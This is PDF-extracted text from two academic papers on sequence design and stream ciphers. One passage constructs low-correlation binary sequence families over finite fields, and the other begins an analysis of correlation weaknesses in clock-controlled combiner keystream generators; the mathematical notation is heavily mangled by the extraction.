⎩

λ0 + θ0δ i = 0
λi + θiδ

1+2ei

1 ≤ i < ρ

δ1+2ei

+ 1 ρ ≤ i ≤ m−1
2

(7)

for λi, θi ∈ F2n , with 0 ≤ i < ρ and δ = ατ ∈ F ∗
2n , where α is a primitive

element of F2n .
In terms of values of ηi with 0 ≤ i ≤ m−1

2 , we classify the exponential sum of
f(x) into three cases.
Case 1: ηi = 0 for 0 ≤ i ≤ m−1

2 . In this case, f(x) = 0. Thus, its exponential
sum is 2n.
Case 2: η0 �= 0 and ηi = 0 for 1 ≤ i ≤ m−1

2 . In this case, f(x) = Trn
1 (η0x).

Hence, we have the exponential sum 0 for any η0 ∈ F ∗
2n .

Case 3: At least one ηi �= 0 for 1 ≤ i ≤ m−1
2 . In this case, f(x) is equivalent to a

quadratic Boolean function. Thus, we need to investigate the number of roots of
its symplectic form Bf (x, z) to determine the distribution of exponential sums
of f(x).

Lemma 2. For odd n = me and an integer ρ with 1 ≤ ρ ≤ m−1
2 , let ηi in (6) be

given such that at least one ηi �= 0 for 1 ≤ i ≤ m−1
2 . Then, the symplectic form

Bf (x, z) associated with f(x) has at most 2(2ρ−1)e roots in F2n for all z ∈ F ∗
2n .

Proof. For given ηi, the symplectic form Bf (x, z) associated with f(x) is given
by

Bf (x, z) = f(x) + f(z) + f(x + z)

=

m−1
2∑

i=1

Trn
1

(
ηi

(
xz2ei

+ zx2ei
))

= Trn
1 ((zL(x)) (8)
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where

L(x) =

m−1
2∑

i=1

(
η2−ei

i x2−ei

+ ηix
2ei

)

We have Bf (x, z) = 0 for all z ∈ F ∗
2n if and only if L(x) = 0.

L(x) =
ρ−1∑

i=1

(
η2−ei

i x2−ei

+ηix
2ei

)
+

m−1
2∑

i=ρ

((
1 + δ1+2−ei

)
x2−ei

+
(
1+δ1+2ei

)
x2ei

)

=
ρ−1∑

i=1

((
η2−ei

i + 1 + δ1+2−ei
)

x2−ei

+
(
ηi + 1 + δ1+2ei

)
x2ei

)

+
m−1∑

i=1

(
1 + δ1+2ei

)
x2ei

(9)

Note that

m−1∑

i=1

(
1 + δ1+2ei

)
x2ei

= (1 + δ2)x + Trn
e (x) + δT rn

e (δx) (10)

Let
γi = ηi + 1 + δ1+2ei

, 1 ≤ i ≤ ρ − 1 (11)

Φγ1,···γρ−1,δ(x) =
ρ−1∑

i=1

(
γ2−ei

i x2−ei

+ γix
2ei

)
(12)

For L(x) = 0, we count the number of solutions in the equation

Φγ1,···γρ−1,δ(x) + (1 + δ2)x + Trn
e (x) + δT rn

e (δx) = 0 (13)

for all γi ∈ F2n and δ ∈ F ∗
2n .

It is easy to see that Φγ1,···γρ−1,δ(x) is not a constant polynomial. Since for
1 ≤ i ≤ ρ − 1, at least one ηi �= 0 is nonzero. Thus,

Δa,b(x) = a + bδ + (1 + δ2)x +
ρ−1∑

i=1

(
γ2−ei

i x2−ei

+ γix
2ei

)

where a = Trn
e (x), b = Trn

e (δx), a, b ∈ F2e . Then

Δ2(ρ−1)e

a,b (x) = a2(ρ−1)e
+ (bδ)2

(ρ−1)e
+ (1 + δ2)2

(ρ−1)e
x2(ρ−1)e

+
ρ−1∑

i=1

(
γ2(ρ−1−i)e

i x2(ρ−1−i)e
+ γ2(ρ−1)e

i + x2(ρ−1+i)e
)

and
Δ2(ρ−1)e

a,b (x) = 0 ⇐⇒ Δa,b(x) = 0
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Since the maximum degree of Δ2(ρ−1)e

a,b (x) = 0 is 22(ρ−1)e, then it has at most
22(ρ−1)e solutions. If δ = 1, the total number of solutions of (13) is at most 2e ·
22(ρ−1)e = 2(2ρ−1)e when a runs through F2e . If δ �= 1, the total number of solu-
tions of (13) is at most 22e ·22(ρ−1)e = 22ρe when a, b run through F2e . From Fact
1, a possible number of roots of Bf (x, z) is 2n−2h where n−2h satisfying e|n−2h
is a positive odd integer for odd n. Therefore, for δ ∈ F ∗

2n the maximum number
of solutions of Bf (x, z) = 0 is 2(2ρ−1)e. 
�

Fact 2 [13]: Let ζ be a set of symplectic forms of (8). For some fixed integer d
with 1 ≤ d ≤ �m

2 �, assume that the rank of every nonzero form in ζ is at least
2de. Then, the maximum size of ζ is given by

ζmax =

{
2m( m+1

2 −d)e for odd n

2(m−1)( m+2
2 −d)e for even n

Lemma 3. For an integer ρ, the symplectic form B(x, z) = Trn
1 (zU(x)) where

polynomial U(x) is given by

U(x) =
ρ−1∑

i=1

(
γ2−ei

i x2−ei

+ γix
2ei

)
, γi ∈ F2n

For odd n = me, the rank of B(x, z) is at least (m − 2ρ + 3)e and every possible
rank 2h for (m − 2ρ + 3)e ≤ 2h ≤ (m − 1)e occurs at least once when γi runs
through F2n . For even n = me with m be even, the rank is at least (m− 2ρ+2)e
and every possible rank 2h with e|h for (m − 2ρ +2)e ≤ 2h ≤ (m − 2)e occurs at
least once when γi runs through F2n .

Proof. Let k be an integer with 2 ≤ k ≤ ρ such that γk = γk+1 = · · ·γρ−1 = 0.
Let Bk(x, z) = Trn

1 (zUk(x)), where Uk(x) =
∑k−1

i=1 (γ2−ei

i x2−ei

+ γix
2ei

). Then
the maximum degree of (Uk(x))2

(k−1)e
is 22(k−1)e, thus the rank of Bk(x, z) is at

least (m − 2k + 2)e. If n is odd, the rank is at least (m − 2k + 3)e.
For odd n, assume that the rank (m − 2k + 3)e never occurs for all γi, then

the rank of Bk(x, z) is at least (m − 2k + 5)e. Then, from Fact 2, the maximum
size of a set of such Bk(x, z) is |ζ|max = 2m(k−2)e = 2n(k−2). However, its actual
size is 2n(k−1). Therefore, the rank of (m − 2k + 3)e occurs at least once when
γi runs through F2n .

Similarly, for even n = me where m is even, if the rank (m − 2k + 2)e never
occurs, then the rank of Bk(x, z) is at least (m − 2k + 4)e. Then the maximum
size of a set of Bk(x, z) is |ζ|max = 2(n−1)(k−1). While its actual size is 2n(k−1).
Therefore, the rank of (m − 2k + 2)e occurs at least once when γi runs through
F2n . 
�

Lemma 4. For odd n = me and an integer ρ with 1 ≤ ρ ≤ m−1
2 , let ηi of in (6)

be given such that at least one ηi �= 0 for 1 ≤ i ≤ m−1
2 . Then, the exponential

sum of f(x) can take on values of 0 and ±2n−h for an integer h, where n − 2h
is every positive odd integer less than or equal to (2ρ − 1)e.
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Proof. When δ = 1, from Lemma 3, the exponential sum of f(x) is equal to 0
or ±2n−h for all h such that n − 2h = e, 3e, · · · , (2ρ − 3)e.

It suffices to show that the exponential sum takes on values of ±2n−h at
least once when n − 2h = (2ρ − 1)e. Assume that this rank never occurs for all
ηi. Then, the rank of Bf (x, z) is at least 2de = (m − 2ρ + 3)e. From Fact 2,
the maximum size of a set ζ of such Bf (x, z) is |ζ|max = 2m(ρ−1)e = 2n(ρ−1).
However, from (8), its actual size is 2nρ, which is greater than |ζ|max. There-
fore, the rank of (m − 2ρ + 1)e occurs at least once when ηi run through
F2n . 
�
Lemma 5. The correlation of binary sequences in Se(ρ) is (2ρ + 2)-valued and
maximum correlation Cmax is 1 + 2

n+(2ρ−1)e
2 .

Proof. For a trace representation of each sequence in Se(ρ) , consider the expo-
nential sum of f(x). In Cases 1 and 2, the exponential sum has 2n and 0 values,
for all ηi with 1 ≤ i ≤ m−1

2 . In Case 3, from Lemma 4, the exponential sum takes
on 2ρ nonzero distinct values. Therefore, the overall exponential sum is (2ρ+2)-
valued. Since maximum value for n−2h is determined by (2ρ−1)e from Lemma 4,
then Cmax = |−1−2n−h| = 1+2

n+(2ρ−1)e
2 . 
�

Theorem 1. For odd n = me, and an integer ρ with 1 ≤ ρ ≤ m−1
2 , the family

Se(ρ) has cyclically distinct binary sequences of period 2n −1. The correlation of
sequences is (2ρ+2)-valued and maximum correlation is 1+2

n+(2ρ−1)e
2 . Therefore,

Se(ρ) constitutes a (2n − 1, 2nρ, 1 + 2
n+(2ρ−1)e

2 ) family of sequences.

Proof. The results follow directly from Lemmas 1 and 5. 
�
Example 1. If ρ = 1

sΛ(x) = Trn
1 (λ0x) +

m
2 −1∑

i=1

Trn
1

(
x1+2ei

)
, x ∈ F ∗

2n (14)

which represents the sequences introduced by Kim and No for odd n and k = e

case in [4]. From Lemma 4, n− 2h = e. Hence, h = (m−1)e
2 . The sequences given

by (14) have four-valued correlation {2n − 1, −1, −1 ± 2
n+e
2 } for all λ0 ∈ F2n .

3.2 Construction of Ue(ρ) for Even n

Construction 2. For even n = me, let m be even, an integer ρ with 1 ≤
ρ < m

2 , a family Ue(ρ) of binary sequences is defined by Ue(ρ) = {sΛ | Λ =
(λ0, · · ·λρ−1), λi ∈ F2n}, where sΛ = {sΛ

0 , · · · sΛ
2n−2}is a binary sequence of pe-

riod 2n − 1 with sΛ
t = sΛ(αt) for a primitive element α of F2n , where sΛ(x), the

trace representation of sΛ
t , is given by

sΛ(x) = Trn
1 (λ0x) +

ρ−1∑

i=1

Trn
1

(
λix

1+2ei
)

+

m
2 −1∑

i=ρ

Trn
1

(
x1+2ei

)
+ Tr

n
2
1

(
x1+2

n
2
)

(15)
for x ∈ F ∗

2n .
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Lemma 6. All sequences in Ue(ρ) are cyclically distinct. Thus, the family size
of Ue(ρ) is 2nρ.

Proof. Similar to the proof of Lemma 1, sΛ(x) = sΘ(δx) for all x ∈ F2n if and
only if (5) is achieved. If gcd(1 + 2ei, 2n − 1) = d > 1, then d is not a factor of
gcd(1+2e(i−1), 2n −1) = 1, since for any integer i, gcd(1+2e(i−1), 1+2ei) = 1. If
δ′ �= 1 is a solution of δ1+2ei

= 1, then it cannot be a solution of δ1+2e(i−1)
= 1.

Meanwhile, we have at least two equations of δ1+2ei

= 1, for ρ ≤ i < m
2 in (5)

where m is even. Thus, δ = 1 is a unique solution in (5). Hence, all sequences in
Ue(ρ) are cyclically distinct. 
�

To investigate the correlation of sequences in Ue(ρ), we study f(x) given by

f(x) = Trn
1 (η0x) +

m
2 −1∑

i=1

Trn
1

(
ηix

1+2ei
)

+ Tr
n
2
1

(
ηn

2
x1+2

n
2
)

(16)

where

ηi =

⎧
⎨

⎩

λ0 + θ0δ i = 0
λi + θiδ

1+2ei

1 ≤ i < ρ

δ1+2ei

+ 1 ρ ≤ i < m
2

(17)

for λi, ηi ∈ F2n with 1 ≤ i ≤ ρ and δ ∈ F ∗
2n . If ηi = 0 for all 1 ≤ i < m

2 , the
exponential sum of f(x) has a value of 0 or 2n. Otherwise, we have to consider the
number of solutions of Bf (x, z) in order to derive the distribution of exponential
sums of f(x) in (16).

Lemma 7. For even n = me, let m be even and an integer ρ with 1 ≤ ρ < m
2 ,

let ηi in (16) be given such that at least one ηi �= 0 for 1 ≤ i ≤ m
2 . Then, the

symplectic form Bf (x, z) associated with f(x) has at most 22ρe roots in F2n for
all z ∈ F ∗

2n .

Proof. We have

Bf (x, z) = Trn
1

⎛

⎝z

⎛

⎝
m
2 −1∑

i=1

(
η2−ei

i x2−ei

+ ηix
2ei

)
+ ηn

2
x2

n
2

⎞

⎠

⎞

⎠ = Trn
1 (zL(x))

(18)

Thus Bf (x, z) = 0 for all z ∈ F ∗
2n if and only if L(x) = 0. Similar as the proof

of Lemma 2 we can derive that the number of solutions of Bf (x, z) = 0 is at
most 22ρe. 
�

Lemma 8. For even n = me, let m be even and an integer ρ with 1 ≤ ρ < m
2 ,

let ηi in (16) be given such that at least one ηi �= 0 for 1 ≤ i < m
2 and η0 ∈ F2n .

Then, the exponential sum of f(x) can take on values of 0 and ±2n−h for an
integer h where n−2h is zero or every positive even integer less than or equal to
2ρe. Hence, the correlation of binary sequences in Ue(ρ) is (2ρ + 4)-valued and
maximum correlation Cmax is 1 + 2

n+2ρe
2 .
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Proof. For even n = me with m be even, while each ηi runs through F2n , each
γi of in (11) also runs through F2n . From Lemma 3, the exponential sum of
f(x) for δ = 1 is equal to 0 or ±2n−h for all h with e|h such that n − 2h =
2e, 4e, · · · , (2ρ − 2)e.

Next, the cases n − 2h = 0 and n − 2h = 2ρe also occur. If all γi of in (11)
are zero, then for δ ∈ F ∗

2e and δ �= 1, from (13) we have Trn
e (x) + x = 0. For

x ∈ F ∗
2e , since n = me, and m is even, then Trn

e (x) = 0 and thus Trn
e (x)+x �= 0.

If x /∈ F2e , then Trn
e (x) + x �= 0. Therefore, x = 0 is the unique solution for

Trn
e (x) + x = 0. Hence, the case n − 2h = 0 occurs at least once. Applying Fact

2, the exponential sum of f(x) can take on values of ±2n−h at least once when
n − 2h = 2ρe similar to the proof of Lemma 4.

Therefore, the correlation is (2ρ+4)-valued and maximum correlation Cmax is
1+2

n+2ρe
2 for 2h = n−2ρe. 
�

Theorem 2. For even n = me, let m be even and an integer ρ with 1 ≤ ρ < m
2 ,

the family Ue(ρ) has 2nρ cyclically distinct binary sequences of period 2n−1. The
correlation of sequences is (2ρ+4)-valued and maximum correlation is 1+2

n+2ρe
2 .

Therefore, Ue(ρ) constitutes a (2n − 1, 2nρ, 1 + 2
n+2ρe

2 ) family sequences.

Proof. The results follow directly from Lemmas 6 and 8. 
�
Example 2. If ρ = 1

sΛ0(x) = Trn
1 (λ0x) +

m
2 −1∑

i=1

Trn
1

(
x1+2ei

)
+ Tr

n
2
1

(
x1+2ei

)
, x ∈ F ∗

2n (19)

which represents sequences introduced by Kim and No for even n and k = e in
[4]. From Lemma 8, n − 2h = 0 and 2e. Hence, h = n

2 and n
2 − e. The sequences

given by (19) have six-valued correlation {2n − 1, −1, −1 ± 2
n
2 , −1 ± 2

n+2e
2 }, for

all λ0 ∈ F2n .

4 Linear Spans of Se(ρ) and Ue(ρ)

Theorem 3. The maximum and minimum linear spans of sequences in Se(ρ)
(or Ue(ρ)) are n(m+1)

2 and n(m−2ρ+1)
2 , respectively.

Proof. In Construction 1, a sequence represented by sΛ(x) has a total of m+1
2

trace terms and each trace term has the linear span of n. Therefore, the maximum
linear span of sequences in Se(ρ) is given by

LSmax(ρ) =
n(m + 1)

2
The minimum linear span of sequences in Se(ρ) is given by

LSmin(ρ) =
(

m + 1
2

− ρ

)
· n =

n(m − 2ρ + 1)
2

Similarly, we can see that the linear span of sequences in Ue(ρ) is the same as
Se(ρ). 
�
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5 Conclusion

In this paper, a new family of binary sequences of period 2n − 1 in Se(ρ) and
Ue(ρ) for odd and even n have been presented, respectively. For a given ρ with
1 ≤ ρ < �m

2 � and a odd n, the maximum correlation of sequences is 1+2
n+(2ρ−1)e

2

and its family size is 2nρ. Similarly, for even n = me and integer ρ where m be
even, 1 ≤ ρ < m

2 , the maximum correlation and family size are 1 + 2
n+2ρe

2 and
2nρ, respectively. The maximum linear spans of the new sequences in both Se(ρ)
and Ue(ρ) are also given. When ρ = 1, Kim and No’s construction in [4] can be
regarded as a subset of the new construction.

Our new sequences family is flexible in that we can choose a proper value
and the corresponding family for a specific application. When low correlation
is more crucial than large family size, a small value of ρ and e can be chosen.
When large family size is more important, we can choose a large value of ρ and
e. Furthermore, it has good potential cryptographic property with large linear
span.
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xuexian hu@yahoo.com.cn

Abstract. Clock-Controlled combiner is a common type of keystream
generator for stream cipher applications. In this paper, we introduce a
kind of probabilistic model for two clock-controlled combiners, and then
study the rate of coincidence between the output sequences of these gen-
erators and corresponding LFSRs’ sequences. The analysis conducted
indicates that these two combiners may be vulnerable to the correlation
attacks.

Keywords: Clock-Controlled, Combiner, Probabilistic Model, Rate of
Coincidence.

1 Introduction

Use of irregular clocked LFSRs which are combined by a nonlinear Boolean
function in keystream generators is a well-know way of producing sequences
with long periods and high linear complexities [1, 2] as well as immunity to fast
correlation attack which is efficient to traditional LFSR based generators [3, 4].
But correlation attack is still one of the most efficient approaches attacking clock-
controlled LFSR based keystream generators [5, 6]. Ding [8] pointed out that
studying the stop/go generator and analyzing the rate of coincidence between
the output sequence of the generator and corresponding LFSR sequences, then
investigating the rate of coincidence between the output sequence of the clock-
controlled combiner and corresponding LFSRs’ sequences further is an important
problem. On the other hand, the rate of coincidence is related to correlation
attack. Li [9] built up a probabilistic model for stop/go generator and studied
the properties of this model in detail, got some meaningful results. They also
built up a kind of probabilistic model for keystream generators consisting of two
stop/go generators combined by 2-variable Boolean function x1 ⊕ x2 or x1 · x2,
and investigated the properties of output sequences such as markov property,
stationarity and limit properties. Using the probabilistic models built in [9], we
analyze the rate of coincidence between these two kind of generators’ output
sequences and corresponding LFSRs’ sequences. All the computational formulae
are derived and the results show that there indeed exist correlation weaknesses
in these two kind of combiners with basic operations. The conclusions may be
used for mounting correlation attacks on individual LFSR in these combiners.
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The rest of this paper is organized as follows. A kind of probabilistic model
for these combiners is described in Section 2. For “additive” combiner and “mul-
tiply” combiner, the rate of coincidence between the output sequence and the
corresponding LFSRs’ sequences are discussed in Section 3 and 4, respectively.
Conclusions are presented in Section 5.

2 A Probabilistic Model

Assume a probabilistic model in which the sequences generated by the regularly
clocked LFSRs are mutually independent and purely random. Let {Y

(k)
0 , Y

(k)
1 ,

Y
(k)
2 , · · · } and {Z

(k)
0 , Z

(k)
1 , Z

(k)
2 , · · · }, k = 1, 2, be four sequences of indepen-

dent random binary variables defined over the same probability space and with
identical probability distribution,

P{Y
(k)
i = 0}= P{Y

(k)
i = 1} = P{Z

(k)
i = 0} = P{Z

(k)
i = 1} =

1
2
, i ≥ 0, k = 1, 2.

Let
X

(k)
0 = Z

(k)
0 , X(k)

n = Z
(k)
n−1�

j=0
Y

(k)
j

, n ≥ 1, k = 1, 2.

Then {X
(k)
0 , X

(k)
1 , X

(k)
2 , · · · } is called the output sequence of the probabilistic

model of the stop/go generator k, k = 1, 2.
With these two sequences combined by Boolean function x1 ⊕ x2 or x1 · x2,

that is

Xn = X
(1)
n ⊕ X

(2)
n ,

X̃n = X
(1)
n · X(2)

n , n ≥ 0,

we can get two combination sequences X∞ = {X0, X1, X2, · · · } and X̃∞ =
{X̃0, X̃1, X̃2, · · · }. Then we call X∞ and X̃∞ the output sequence of the prob-
abilistic model of “additive” combiner and “multiply” combiner, respectively.

3 Rate of Coincidence of the “Additive” Combiner

We now consider the rate of coincidence between the output sequence {X0, X1,
X2, · · · } of the probabilistic model of “additive” combiner and corresponding
LFSRs’ sequences. Because of symmetry, it suffices to consider the case k = 1.
We begin with some preliminary lemmas about the stop/go generators.

Lemma 1. [9] The notation are the same as those defined above. The output
sequence of the probabilistic model of stop/go generator k (k = 1 or 2) is a
homogeneous markov chain with joint distribution

P{X
(k)
0 = a0, X

(k)
1 = a1, · · · , X(k)

n = an} =
3n−j

2 × 4n
=

1
21+2j

(
3
4

)n−j

,

where a0, a1, · · · , an = 0 or 1 and the number of ai, i = 0, 1, · · · , n − 1 satisfying
ai �= ai+1 is j.
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Lemma 2. [9] The notation are the same as those defined above. Then for k =
1 or 2,

(1) X
(k)
n and Y

(k)
n are independent, then P{X

(k)
n = Y

(k)
n } = 1

2 , for n ≥ 0;
(2) P{X

(k)
0 = Y

(k)
0 , X

(k)
1 = Y

(k)
1 , · · · , X

(k)
n = Y

(k)
n } = 1

2n+1 , for n ≥ 0. Which
implies the events {X

(k)
0 = Y

(k)
0 },{X

(k)
1 = Y

(k)
1 }, · · · ,{X

(k)
n = Y

(k)
n }, · · · are

mutually independent.

Theorem 1. For the rate of coincidence between the “additive” combiner se-
quence {X0, X1, X2, · · · } and corresponding clock-control sequence {Y

(1)
0 , Y

(1)
1 ,

Y
(1)
2 , · · · }, we have

(1) Xn and Y
(1)
n are independent, then P{Xn = Y

(1)
n } = 1

2 , for n ≥ 0;
(2) P{X0 = Y

(1)
0 , X1 = Y

(1)
1 , · · · , Xn = Y

(1)
n } = 1

2n+1 , for n ≥ 0. Which implies
the events {X0 = Y

(1)
0 }, {X1 = Y

(1)
1 }, · · · , {Xn = Y

(1)
n }, · · · are mutually

independent.

Proof. (1) The conclusion holds for n = 0. For n ≥ 1, note that random variable
Y

(1)
n is independent of {Y

(k)
0 , Y

(k)
1 , · · · , Y

(k)
n−1}, {Z

(k)
0 , Z

(k)
1 , · · · , Z

(k)
n−1}, k = 1, 2.

Random variables Y
(1)
n and

Xn = X(1)
n ⊕ X(2)

n = Z
(1)
n−1�

j=0
Y

(1)
j

⊕ Z
(2)
n−1�

j=0
Y

(2)
j

are also independent. Together with Y
(1)
n is uniformly 0-1 distributed, we get

P{Xn = Y (1)
n } =

1
2
, n ≥ 1.

(2) Since random sequences {Y
(k)
0 , Y

(k)
1 , Y

(k)
2 , · · · } , {Z

(k)
0 , Z

(k)
1 , Z

(k)
2 , · · · }, k =

1, 2, are mutually independent, it easy to deduce that vector
(
X

(2)
0 , X

(2)
1 , · · · ,

X
(2)
n

)
is independent of the σ-algebra

σ
{
{X

(1)
0 = Y

(1)
0 }, {X

(1)
1 = Y

(1)
1 }, · · · , {X(1)

n = Y (1)
n }

}
.

It follows that

P{X0 = Y
(1)
0 , X1 = Y

(1)
1 , · · · , Xn = Y (1)

n }
= P{X

(1)
0 ⊕ X

(2)
0 = Y

(1)
0 , X

(1)
1 ⊕ X

(2)
1 = Y

(1)
1 , · · · , X(1)

n ⊕ X(2)
n = Y (1)

n }

=
∑

a0,a1,··· ,an∈{0,1}
P

({
X

(2)
0 = a0, X

(2)
1 = a1, · · · , X(2)

n = an

}
∩

n⋂
i=0

Ei,ai

)

=
∑

a0,a1,··· ,an∈{0,1}
P

{
X

(2)
0 = a0, X

(2)
1 = a1, · · · , X(2)

n = an

}
P

( n⋂
i=0

Ei,ai

)
.
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Where Ei,0 = {X
(1)
i = Y

(1)
i }, Ei,1 = {X

(1)
i �= Y

(1)
i }, i = 0, 1, 2, · · · , n.

It is known from Lemma 2 that events {X
(1)
0 = Y

(1)
0 }, {X

(1)
1 = Y

(1)
1 }, · · · ,

{X
(1)
n = Y

(1)
n }, · · · are mutually independent, so are the σ-algebras

σ
(
{X

(1)
0 = Y

(1)
0 }

)
, σ

(
{X

(1)
1 = Y

(1)
1 }

)
, · · · , σ

(
{X(1)

n = Y (1)
n }

)
.

Therefore,

P{X0 = Y
(1)
0 , X1 = Y

(1)
1 , · · · , Xn = Y (1)

n }

=
(

1
2

)n+1

·
∑

a0,a1,··· ,an∈{0,1}
P

{
X

(2)
0 = a0, X

(2)
1 = a1, · · · , X(2)

n = an

}

=
(

1
2

)n+1

.

Which in turn implies vents {X0 = Y
(1)
0 }, {X1 = Y

(1)
1 }, · · · , {Xn = Y

(1)
n }, · · ·

are mutually independent. ��

Remark 1. Note that random sequence {X0, X1, X2, · · · } and random sequence
{Y

(1)
0 , Y

(1)
1 , Y

(1)
2 , · · · } are not independent.

We now discuss the rate of coincidence between random sequences {X0, X1,

X2, · · · } and {Z
(1)
0 , Z

(1)
1 , Z

(1)
2 , · · · }. Write

{
ξ
(1)
i = 1

}
⇔

{
X

(1)
i = Z

(1)
i

}
⇔

{
X

(1)
i ⊕ Z

(1)
i = 0

}
,{

ξ
(1)
i = 0

}
⇔

{
X

(1)
i �= Z

(1)
i

}
⇔

{
X

(1)
i ⊕ Z

(1)
i = 1

}
, i ≥ 0.

Lemma 3. [9] The notation are the same as those defined above. Then, for all
a0, a1, · · · , an, an+1 ∈ {0, 1},

P{ξ
(1)
1 = a1, ξ

(1)
2 = a2, · · · , ξ(1)

n = an, ξ
(1)
n+1 = an+1}

=
1
2
P{ξ

(1)
1 = a1, ξ

(1)
2 = a2, · · · , ξ(1)

n = an} +
(−1)an+1+1

2n+2 I{(1,··· ,1)}(a1, · · · , an).

Theorem 2. For the rate of coincidence between the “additive” combiner sequence
{X0, X1, X2, · · · } and corresponding LFSR sequence {Z

(1)
0 , Z

(1)
1 , Z

(1)
2 , · · · }, we

have

(1) P{Xn = Z
(1)
n } =

1
2
, for n ≥ 0;

(2) P{X0 = Z
(1)
0 , X1 = Z

(1)
1 , · · · , Xn = Z

(1)
n } =

1
2n

− 1
2

·
(

3
8

)n

, for n ≥ 1.

Proof. (1) If n = 0, then

P{X0 = Z
(1)
0 } = P{Z

(1)
0 ⊕ Z

(2)
0 = Z

(1)
0 } = P{Z

(2)
0 = 0} =

1
2
.
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If n ≥ 1, note that X
(2)
n is independent of X

(1)
n and Z

(1)
n . It is easy to see that

P{Xn = Z(1)
n } = P{X(1)

n ⊕ X(2)
n = Z(1)

n }
= P{X(2)

n = 0}P{X(1)
n = Z(1)

n } + P{X(2)
n = 1}P{X(1)

n �= Z(1)
n }

=
1
2
.

(2) The fact that random variable vector (X(2)
0 , X

(2)
1 ) is simultaneously inde-

pendent of (X(1)
0 , X

(1)
1 ) and (Z(1)

0 , Z
(1)
1 ) along with a trivial computation gives

that,

P{X0 = Z
(1)
0 , X1 = Z

(1)
1 }

= P{X
(1)
0 ⊕ X

(2)
0 = Z

(1)
0 , X

(1)
1 ⊕ X

(2)
1 = Z

(1)
1 }

=
∑

a0,a1∈{0,1}
P{X

(2)
0 = a0, X

(2)
1 = a1, ξ

(1)
0 = 1 − a0, ξ

(1)
1 = 1 − a1}

=
∑

a1∈{0,1}
P{X

(2)
0 = 0, X

(2)
1 = a1}P{ξ

(1)
1 = 1 − a1}

=
1
2

· 3
4

· P{X
(1)
1 = Z

(1)
1 } +

1
2

· 1
4

· P{X
(1)
1 �= Z

(1)
1 }

=
1
2

· 3
4

·
(

1
2

+
1

21+1

)
+

1
2

· 1
4

·
(

1
2

− 1
21+1

)

=
5
16

=
1
2

− 1
2

· 3
8
.

In the proof ofTheorem1, it is obtained that randomvector
(
X

(2)
0 , X

(2)
1 , · · · , X

(2)
n

)
is independent of the σ-algebra

σ
{
{X

(1)
0 = Y

(1)
0 }, {X

(1)
1 = Y

(1)
1 }, · · · , {X(1)

n = Y (1)
n }

}
.

It follows that

P{X0 = Z
(1)
0 , X1 = Z

(1)
1 , · · · , Xn+1 = Z

(1)
n+1}

= P{X
(1)
0 ⊕ X

(2)
0 = Z

(1)
0 , X

(1)
1 ⊕ X

(2)
1 = Z

(1)
1 , · · · , X

(1)
n+1 ⊕ X

(2)
n+1 = Z

(1)
n+1}

=
∑

ai∈{0,1},0≤i≤n+1

P
{

X
(2)
0 = a0, X

(2)
1 = a1, · · · , X

(2)
n+1 = an+1, ξ

(1)
0 = 1 − a0,

ξ
(1)
1 = 1 − a1, · · · , ξ

(1)
n+1 = 1 − an+1

}

=
∑

ai∈{0,1},0≤i≤n+1

P{X
(2)
0 = a0, X

(2)
1 = a1, · · · , X

(2)
n+1 = an+1}

· P{ξ
(1)
0 = 1 − a0, ξ

(1)
1 = 1 − a1, · · · , ξ

(1)
n+1 = 1 − an+1}
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=
∑

ai∈{0,1},1≤i≤n+1

P{X
(2)
0 = 0, X

(2)
1 = a1, · · · , X

(2)
n+1 = an+1}

·P{ξ
(1)
0 = 1, ξ

(1)
1 = 1 − a1, · · · , ξ

(1)
n+1 = 1 − an+1}

=
∑

ai∈{0,1},1≤i≤n+1

P{X
(2)
0 = 0, X

(2)
1 = a1, · · · , X

(2)
n+1 = an+1}

·P{ξ
(1)
1 = 1 − a1, · · · , ξ

(1)
n+1 = 1 − an+1}.

On the other hand, an application of Lemma 3 yields

P{ξ
(1)
1 = 1 − a1, · · · , ξ(1)

n = 1 − an, ξ
(1)
n+1 = 1 − an+1}

=
1
2
P{ξ

(1)
1 = 1 − a1, · · · , ξ(1)

n = 1 − an} +
(−1)an+1

2n+2 I{(0,··· ,0)}(a1, · · · , an).

Consequently,

P{X0 = Z
(1)
0 , X1 = Z

(1)
1 , · · · , Xn+1 = Z

(1)
n+1}

=
∑

ai∈{0,1},1≤i≤n+1

1
2

· P{X
(2)
0 = 0, X

(2)
1 = a1, · · · , X

(2)
n+1 = an+1}

·P{ξ
(1)
1 = 1 − a1, · · · , ξ(1)

n = 1 − an}

+
∑

ai∈{0,1},1≤i≤n+1

P{X
(2)
0 = 0, X

(2)
1 = a1, · · · , X

(2)
n+1 = an+1}

· (−1)an+1

2n+2 I{(0,··· ,0)}(a1, · · · , an)

(a)
= 1

2
·

∑
ai∈{0,1},1≤i≤n

P{X
(2)
0 = 0, X

(2)
1 = a1, · · · , X(2)

n = an}

·P{ξ
(1)
1 = 1 − a1, · · · , ξ(1)

n = 1 − an}

+
∑

ai∈{0,1},1≤i≤n+1

P{X
(2)
0 = 0, X

(2)
1 = a1, · · · , X

(2)
n+1 = an+1}

· (−1)an+1

2n+2 I{(0,··· ,0)}(a1, · · · , an)

=
1
2

· P{X0 = Z
(1)
0 , X1 = Z

(1)
1 , · · · , Xn = Z(1)

n }

+
∑

an+1∈{0,1}
P{X

(2)
0 = 0, X

(2)
1 = 0, · · · , X(2)

n = 0, X
(2)
n+1 = an+1} · (−1)an+1

2n+2

=
1
2

· P{X0 = Z
(1)
0 , · · · , Xn = Z(1)

n } +
1
2

· 3n+1

4n+1 · 1
2n+2 − 1

2
· 3n

4n+1 · 1
2n+2
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=
1
2

· P{X0 = Z
(1)
0 , · · · , Xn = Z(1)

n } +
3n

23n+4 , (∗)

where (a) follows from the fact
∑

an+1∈{0,1}
P

{
X

(2)
n+1 = an+1|X(2)

n = an

}
= 1.

Hence, by the recurrence relation (∗) we can easily deduce the desired results by
an induction on n. ��

Remark 2. Theorem 2 implies that, although the combination function x1 ⊕ x2
is balanced and correlation immune on F 2

2 , there still exists correlation between
the combiner sequence and corresponding LFSRs’ sequences.

4 Rate of Coincidence of the “Multiply” Combiner

We now consider the rate of coincidence between the output sequence {X̃0, X̃1,
X̃2, · · · } of the probabilistic model of “multiply” combination and corresponding
LFSRs’ sequences.

In order to analyze the rate of coincidence between sequence {X̃0, X̃1, X̃2, · · · }
and sequence {Y

(1)
0 , Y

(1)
1 , Y

(1)
2 , · · · }, we need the following lemma.

Lemma 4. The sequences {X
(1)
0 , X

(1)
1 , X

(1)
2 , · · · } and {Y

(1)
0 , Y

(1)
1 , Y

(1)
2 , · · · } are

the same as those defined above. Set

Fi,1 = {X
(1)
i = Y

(1)
i }, Fi,0 = {Y

(1)
i = 0}, i ≥ 0.

Then for all a0, a1, · · · , an ∈ {0, 1} and n ≥ 0,

P

(
